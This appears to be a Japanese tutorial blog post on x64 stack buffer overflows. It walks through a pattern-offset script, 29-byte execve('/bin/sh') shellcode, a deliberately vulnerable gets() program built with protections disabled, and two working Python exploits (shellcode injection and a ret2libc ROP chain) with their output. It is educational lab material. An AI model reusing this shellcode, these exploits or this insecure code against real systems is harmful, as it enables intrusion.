Metasploitを使わずに、パターン生成とオフセット計算を行うPythonスクリプトを書くと次のようになる。
# msfpattern.py import sys import struct def generate(): for x in xrange(0x41, 0x5b): for y in xrange(0x61, 0x7b): for z in xrange(0x30, 0x3a): yield "%c%c%c" % (x, y, z) cmd = sys.argv[1] if cmd == 'create': size = int(sys.argv[2]) s = '' for x in generate(): s += x if len(s) >= size: print s[:size] break else: raise Exception("size too large") elif cmd == 'offset': value = int(sys.argv[2], 16) chunk = struct.pack('<I', value) s = '' for x in generate(): s += x if chunk in s: print s.index(chunk) break else: raise Exception("not found")
$ python msfpattern.py create 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag $ python msfpattern.py offset 0x64413764 112
関連リンク
x64でスタックバッファオーバーフローをやってみる
Intel x64 (x86-64) 環境のもとで、スタックバッファオーバーフローによるシェルコード実行およびROPをやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
シェルコードを書いてみる
- レジスタのbit幅が64bitとなり、rax, rdx, rcx, rbx, rsi, rdi, rsp, rbp, ripのように表される
- 汎用レジスタとしてr8, r9, ..., r15が使える
- 64bit整数を即値でpushすることはできない。レジスタへのmovは可能
- システムコール番号が変わる(execveは59)
- int 0x80ではなくsyscallを使う。システムコール番号はrax、引数はrdi, rsi, rdx, r10, r8, r9の順で与える
- システムコール実行後、戻り値が入るrax以外にrcx, r11も書き換えられる可能性がある
execve("/bin/sh", {"/bin/sh", NULL}, NULL)
を実行するシェルコードを書くと次のようになる。
$ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h #define __NR_execve 59 __SYSCALL(__NR_execve, stub_execve) $ echo "/bin//sh" | od -tx8z 0000000 68732f2f6e69622f 000000000000000a >/bin//sh.< 0000011
/* execve.s */ .intel_syntax noprefix .globl _start _start: xor rdx, rdx push rdx mov rax, 0x68732f2f6e69622f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp lea rax, [rdx+59] syscall
アセンブルし、実行できることを確認する。
$ gcc -nostdlib execve.s $ ./a.out $ id uid=1000(user) gid=1000(user) groups=1000(user) $
$ objdump -M intel -d a.out a.out: file format elf64-x86-64 Disassembly of section .text: 00000000004000d4 <_start>: 4000d4: 48 31 d2 xor rdx,rdx 4000d7: 52 push rdx 4000d8: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f 4000df: 2f 73 68 4000e2: 50 push rax 4000e3: 48 89 e7 mov rdi,rsp 4000e6: 52 push rdx 4000e7: 57 push rdi 4000e8: 48 89 e6 mov rsi,rsp 4000eb: 48 8d 42 3b lea rax,[rdx+0x3b] 4000ef: 0f 05 syscall
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05
このシェルコードの長さは29バイトである。
脆弱性のあるプログラムを書いてみる
標準入力からスタックバッファオーバーフローが起こせるプログラムを書いてみる。
/* bof.c */ #include <stdio.h> int main() { char buf[100]; setlinebuf(stdout); printf("buf = %p\n", buf); gets(buf); puts(buf); return 0; }
ASLR、DEP、SSP無効でコンパイルし、実行できることを確認する。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector -z execstack bof.c $ ./a.out buf = 0x7fffffffe5e0 AAAA AAAA
エクスプロイトコードを書いてみる
スタック上のシェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE addr_buf = int(sys.argv[1], 16) bufsize = int(sys.argv[2]) # execve("/bin/sh", {"/bin/sh", NULL}, NULL) shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05' buf = shellcode buf += 'A' * (bufsize - len(buf)) buf += 'A' * (8 - len(buf)%8) # alignment buf += 'AAAAAAAA' * 2 buf += struct.pack('<Q', addr_buf) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) print "[+] read: %r" % p.stdout.readline() p.stdin.write(buf+'\n') print "[+] read: %r" % p.stdout.readline() p.stdin.write('exec <&2 >&2\n') p.wait()
このコードは、オーバーフローが起きるバッファのアドレスとサイズを順に引数に取る。
アドレス空間が64bitで表されることから、struct.packの引数にはI
(32bit符号なし整数)の代わりにQ
(64bit符号なし整数)を指定する。
また、シェルを起動した後はシェルコマンドにより標準入出力を端末に差し替える。
引数をセットし、エクスプロイトコードを実行してみる。
$ python exploit.py 0x7fffffffe5e0 100 [+] read: 'buf = 0x7fffffffe5d0\n' [+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\xe5\xff\xff\xff\x7f\n' $ python exploit.py 0x7fffffffe5d0 100 [+] read: 'buf = 0x7fffffffe5d0\n' [+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\xe5\xff\xff\xff\x7f\n' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
スタック上のシェルコードが実行できていることが確認できた。
ROPによるDEP回避をやってみる
次に、DEPが有効な条件下でROPによるシェル起動をやってみる。
rp++のLinux x64用バイナリをダウンロードし、libcのROP gadgetsを出力する。
$ curl -L https://github.com/downloads/0vercl0k/rp/rp-lin-x64 > rp-lin-x64 $ chmod +x rp-lin-x64 $ ./rp-lin-x64 --file=/lib/x86_64-linux-gnu/libc-2.15.so --rop=1 --unique > gadgets.txt
x64では、関数の引数はまずレジスタにセットされる。 具体的には、第一引数からrdi, rsi, rdx, rcx, r8, r9の順でセットされ(システムコールの場合と第4引数が異なることに注意)、これ以降の引数はスタックの上から順に並ぶようにセットされる。 なお、戻り値はx86と同様raxレジスタにセットされる。
上の内容に従い、libc中のsystem関数を呼び出すエクスプロイトコードを書くと次のようになる。
# exploit2.py import sys import struct from subprocess import Popen, PIPE libc_base = int(sys.argv[1], 16) bufsize = int(sys.argv[2]) offset_libc_system = 0x0000000000045660 # nm -D /lib/x86_64-linux-gnu/libc-2.15.so | grep " system" offset_libc_exit = 0x000000000003b970 # nm -D /lib/x86_64-linux-gnu/libc-2.15.so | grep " exit" offset_libc_binsh = 0x17a111 # strings -tx /lib/x86_64-linux-gnu/libc-2.15.so | grep "/bin/sh" offset_libc_pop_rdi = 0x000229f2 # 0x000229f2: pop rdi ; ret ; (310 found) buf = 'A' * bufsize buf += 'A' * (8-len(buf)%8) buf += 'AAAAAAAA' * 2 buf += struct.pack('<Q', libc_base + offset_libc_pop_rdi) buf += struct.pack('<Q', libc_base + offset_libc_binsh) buf += struct.pack('<Q', libc_base + offset_libc_system) buf += struct.pack('<Q', libc_base + offset_libc_pop_rdi) buf += struct.pack('<Q', 0) buf += struct.pack('<Q', libc_base + offset_libc_exit) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) print "[+] read: %r" % p.stdout.readline() p.stdin.write(buf+'\n') print "[+] read: %r" % p.stdout.readline() p.stdin.write('exec <&2 >&2\n') p.wait()
DEP有効、ASLR、SSP無効でコンパイルし直し、gdbでlibcのベースアドレスを調べてみる。
$ gcc -fno-stack-protector bof.c $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x4005d8 Starting program: /home/user/tmp/a.out warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 Temporary breakpoint 1, 0x00000000004005d8 in main () (gdb) i proc map process 2974 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /home/user/tmp/a.out 0x600000 0x601000 0x1000 0x0 /home/user/tmp/a.out 0x601000 0x602000 0x1000 0x1000 /home/user/tmp/a.out 0x7ffff7a1a000 0x7ffff7bcf000 0x1b5000 0x0 /lib/x86_64-linux-gnu/libc-2.15.so 0x7ffff7bcf000 0x7ffff7dcf000 0x200000 0x1b5000 /lib/x86_64-linux-gnu/libc-2.15.so 0x7ffff7dcf000 0x7ffff7dd3000 0x4000 0x1b5000 /lib/x86_64-linux-gnu/libc-2.15.so 0x7ffff7dd3000 0x7ffff7dd5000 0x2000 0x1b9000 /lib/x86_64-linux-gnu/libc-2.15.so ... (gdb) quit
引数をセットし、エクスプロイトコードを実行してみる。
$ python exploit2.py 0x7ffff7a1a000 100 [+] read: 'buf = 0x7fffffffe5d0\n' [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf2\xc9\xa3\xf7\xff\x7f\n' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
DEPが有効な条件下でROPによりシェルが起動できていることが確認できた。